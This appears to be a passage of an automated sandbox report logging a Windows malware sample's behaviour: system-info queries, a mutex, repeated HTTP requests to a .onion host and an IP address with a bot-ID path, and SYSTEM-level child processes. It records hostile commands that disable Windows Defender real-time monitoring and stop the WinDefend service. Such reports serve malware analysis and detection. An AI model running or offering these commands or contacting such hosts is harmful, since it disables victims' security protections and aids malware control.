Get Time type = System Time, time = 2019-05-14 15:33:57 (UTC) True 13
Fn
Get Time type = System Time, time = 2019-05-14 15:33:58 (UTC) True 13
Fn
Get Time type = System Time, time = 2019-05-14 15:33:59 (UTC) True 13
Fn
Get Time type = Ticks, time = 11078520 True 1
Fn
Get Time type = Ticks, time = 11078535 True 1
Fn
Get Time type = Ticks, time = 11078660 True 2
Fn
Get Time type = Ticks, time = 11078691 True 2
Fn
Get Time type = Ticks, time = 11078738 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:34:00 (UTC) True 13
Fn
Get Time type = System Time, time = 2019-05-14 15:34:06 (UTC) True 14
Fn
Get Time type = System Time, time = 2019-05-14 15:34:08 (UTC) True 28
Fn
Get Time type = System Time, time = 2019-05-14 15:34:09 (UTC) True 28
Fn
Get Time type = System Time, time = 2019-05-14 15:34:10 (UTC) True 14
Fn
Get Time type = System Time, time = 2019-05-14 15:34:11 (UTC) True 14
Fn
Get Time type = System Time, time = 2019-05-14 15:34:12 (UTC) True 28
Fn
Get Time type = System Time, time = 2019-05-14 15:34:13 (UTC) True 3
Fn
Get Time type = System Time, time = 2019-05-14 15:34:15 (UTC) True 8
Fn
Get Time type = System Time, time = 2019-05-14 15:34:16 (UTC) True 4
Fn
Get Time type = System Time, time = 2019-05-14 15:34:18 (UTC) True 1
Fn
Get Time type = Ticks, time = 11097349 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:34:20 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:34:21 (UTC) True 28
Fn
Get Time type = Ticks, time = 11100282 True 1
Fn
Get Info type = Operating System True 4
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
Get Info type = Hardware Information True 2
Fn
Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Get Info type = Operating System True 23
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = Global\C850A606981932960 True 1
Fn
Environment (1)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Network Behavior
DNS (5)
»
Operation Additional Information Success Count Logfile
Get Hostname name_out = ZgW5tdPu True 2
Fn
Resolve Name host = ZgW5tdPu, address_out = fe80:0000:0000:0000:9594:91b6:d807:49d3, 192.168.0.251 True 2
Fn
Resolve Name host = 91.248.182.84.zen.spamhaus.org, address_out = 127.0.0.10, 127.0.0.4 True 1
Fn
TCP Sessions (1)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 0
Contacted Hosts -
TCP Session #1
»
Information Value
Remote Address -
Remote Port 448
Local Address 192.168.0.251
Local Port -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = cd4fhnyg2337dgxk.onion, server_port = 448 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open Connection protocol = HTTP, server_name = 5.188.108.22, server_port = 447 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 5.188.108.22/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 3813, size_out = 3813 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 4124, size_out = 4124 True 1
Fn
Data
Read Response size = 431, size_out = 431 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Sessions (3)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 0
Contacted Hosts -
HTTP Session #1
»
Information Value
Server Name cd4fhnyg2337dgxk.onion
Server Port 448
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = cd4fhnyg2337dgxk.onion, server_port = 448 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open Connection protocol = HTTP, server_name = 5.188.108.22, server_port = 447 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 5.188.108.22/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 3813, size_out = 3813 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 4124, size_out = 4124 True 1
Fn
Data
Read Response size = 431, size_out = 431 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
Server Name cd4fhnyg2337dgxk.onion
Server Port 448
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = cd4fhnyg2337dgxk.onion, server_port = 448 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open Connection protocol = HTTP, server_name = 5.188.108.22, server_port = 447 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 5.188.108.22/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 3813, size_out = 3813 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 4124, size_out = 4124 True 1
Fn
Data
Read Response size = 431, size_out = 431 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #3
»
Information Value
Server Name cd4fhnyg2337dgxk.onion
Server Port 448
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = cd4fhnyg2337dgxk.onion, server_port = 448 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cd4fhnyg2337dgxk.onion/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ False 1
Fn
Open Connection protocol = HTTP, server_name = 5.188.108.22, server_port = 447 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 5.188.108.22/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/5/systeminfo32/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 3813, size_out = 3813 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 4124, size_out = 4124 True 1
Fn
Data
Read Response size = 431, size_out = 431 True 1
Fn
Data
Close Session - True 1
Fn
Process #26: cmd.exe
60 0
»
Information Value
ID #26
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:24, Reason: Child Process
Unmonitor End Time: 00:01:32, Reason: Self Terminated
Monitor Duration 00:00:07
OS Process Information
»
Information Value
PID 0x22c
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 130
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 200, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0x3ac, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a580000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:31:33 (UTC) True 1
Fn
Get Time type = Ticks, time = 10932253 True 1
Fn
Get Time type = Performance Ctr, time = 15866395746 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #27: cmd.exe
60 0
»
Information Value
ID #27
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:24, Reason: Child Process
Unmonitor End Time: 00:01:26, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x7dc
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 7D8
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 208, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0x8a0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a580000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:31:33 (UTC) True 1
Fn
Get Time type = Ticks, time = 10932347 True 1
Fn
Get Time type = Performance Ctr, time = 15875622737 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000424 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #28: powershell.exe
826 0
»
Information Value
ID #28
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:24, Reason: Child Process
Unmonitor End Time: 00:01:32, Reason: Self Terminated
Monitor Duration 00:00:07
OS Process Information
»
Information Value
PID 0x3ac
Parent PID 0x22c (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 78C
0x 9B0
0x 9AC
0x 668
0x 9CC
0x 9D4
0x 9E0
0x 95C
Host Behavior
File (392)
»
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
